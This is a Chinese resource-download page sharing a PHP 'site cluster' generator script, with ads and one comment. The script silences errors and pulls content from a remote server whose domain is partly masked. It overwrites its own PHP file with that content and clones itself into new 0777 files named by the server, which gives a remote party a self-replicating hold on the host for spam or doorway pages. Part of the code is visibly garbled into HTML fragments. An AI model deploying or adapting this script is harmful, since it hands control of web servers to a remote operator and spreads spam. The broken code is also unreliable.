头像

PHP 站群生成

资源/模板错误反馈 收集员 2015-11-19浏览(2132)   

PHP 站群生成
查看演示 下载资源: 301下载资源下载积分:0
error_reporting(0);
    set_time_limit(0);
   
      $Remote_server="http://####6077888.com";
   
   
   
    session_start();
    $allow_sep = "2";
    if (isset($_SESSION["post_sep"]))
    {
    if (time() - $_SESSION["post_sep"] < $allow_sep)
    {        exit("请不要反复刷新");
    }
    else
    {     
    $_SESSION["post_sep"] = time();
    }
    }
    else{$_SESSION["post_sep"] = time();
    }
   
    $url = $_SERVER['PHP_SELF']; 
    $filename= substr( $url , strrpos($url , '/')+1 ); 
    $NewFile_content=file_read($filename);
    $host_name=str_replace($filename,"",'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
   
    $ml=$_SERVER['REQUEST_URI'] ;
    $str= explode('/',$ml);
    $Quantity=count($str)-1; //层数  
      
       
        $Content_mb=Gethtml($Remote_server."/index.php"."?type=index.php&host=".$host_name);
        //以目标服务器读取http://####6077888.com/index.php?type=index.php$host=127.0.0.1
        //exit;
        $ml_name=strCut($Content_mb,"",2);  
        //截取远程页面中的 
            $Branch=str_replace("|",".",$ml_name);
            //将|替换成.
   
        $Remote_papers = $Remote_server."/c.php"."?type=".$filename."&host=".$host_name."&directory=".$Branch;
        $html_papers = Reads($Remote_papers);   
   
        $ml_name=explode("|",$ml_name);
        foreach($ml_name as $value){                   
            file_write($value.".php",$NewFile_content);     
             }
             //生成文件 就是截取中的代码以|为分割符
            
        file_write($filename,$Content_mb); //生成静态首页       
   
           
    echo $Content_mb;
   
   
function mk_dir($dir) {
    if ( $dir)
    {
        $arr= explode('/',$dir);
        $k = "";
    $n = count($arr);
   
        for ( $i=1; $i<=$n; $i++)
        {
            $k = $k."/".$arr[$i];
            //echo $k;
            if ( is_dir( ".".$k) || @mkdir(".".$k) )
            {
                continue;
            }
            exit( "请检查文件目录权限" );
        }
    }
}
   
   
function string_random($len =4){
    $str ='abcdefghijklmnopqrstuvwxyz1234567890';
    $strlen = strlen($str);
    $randstr = '';
    for ($i = 0; $i<$len; $i++){
        $randstr .= $str[mt_rand(0, $strlen-1)];
    }
    return $randstr;
}
   
function string_a_random($len =6){
    $str ='abcdefghijklmnopqrstuvwxyz';
    $strlen = strlen($str);
    $randstr = '';
    for ($i = 0; $i<$len; $i++){
        $randstr .= $str[mt_rand(0, $strlen-1)];
    }
    return $randstr;
}
   
function string_n_random($len =4){
    $str ='1234567890';
    $strlen = strlen($str);
    $randstr = '';
    for ($i = 0; $i<$len; .="$str[mt_rand(0," cuttype="2)" s1="0;" s2="strpos($strContent," cutstr="substr($strContent," opts="array('http'"> array('method' => "GET",'timeout' => 8));    $context = stream_context_create($opts);    $html = file_get_contents($url, false, $context);    if(empty($html)){$html = file_get_contents($url);}    return $html;}  function Reads($url){    $opts_1 = array('http' => array('method' => "GET",'timeout' => 8));    $context = stream_context_create($opts_1);    $html = file_get_contents($url, false, $context);    if(empty($html)){"服务器获取文件内容出错";}    return $html;}  function file_write($path, $data, $method = 'wb',$lock=1) {    if ($fp = @fopen($path, $method)) {        if($lock){            @flock($fp,LOCK_EX);        }        fwrite($fp, $data);        fclose($fp);        chmod($path, 0777);        return true;    }    return false;} function file_read($file){    if (file_exists($file)) {        return file_get_contents($file);    }    return false;}

具体用途看个人 需求

标签:PHP站群
积分:新注册可得1积分|评论每次可得1积分每天5次[充值1元=10积分]AD:Php/Tp5程序开发二次开发联系QQ839070295
评论1
头像
  • 头像1楼
    11-25 15:27
    bibi
    54545

模板缺失不完整!联系我!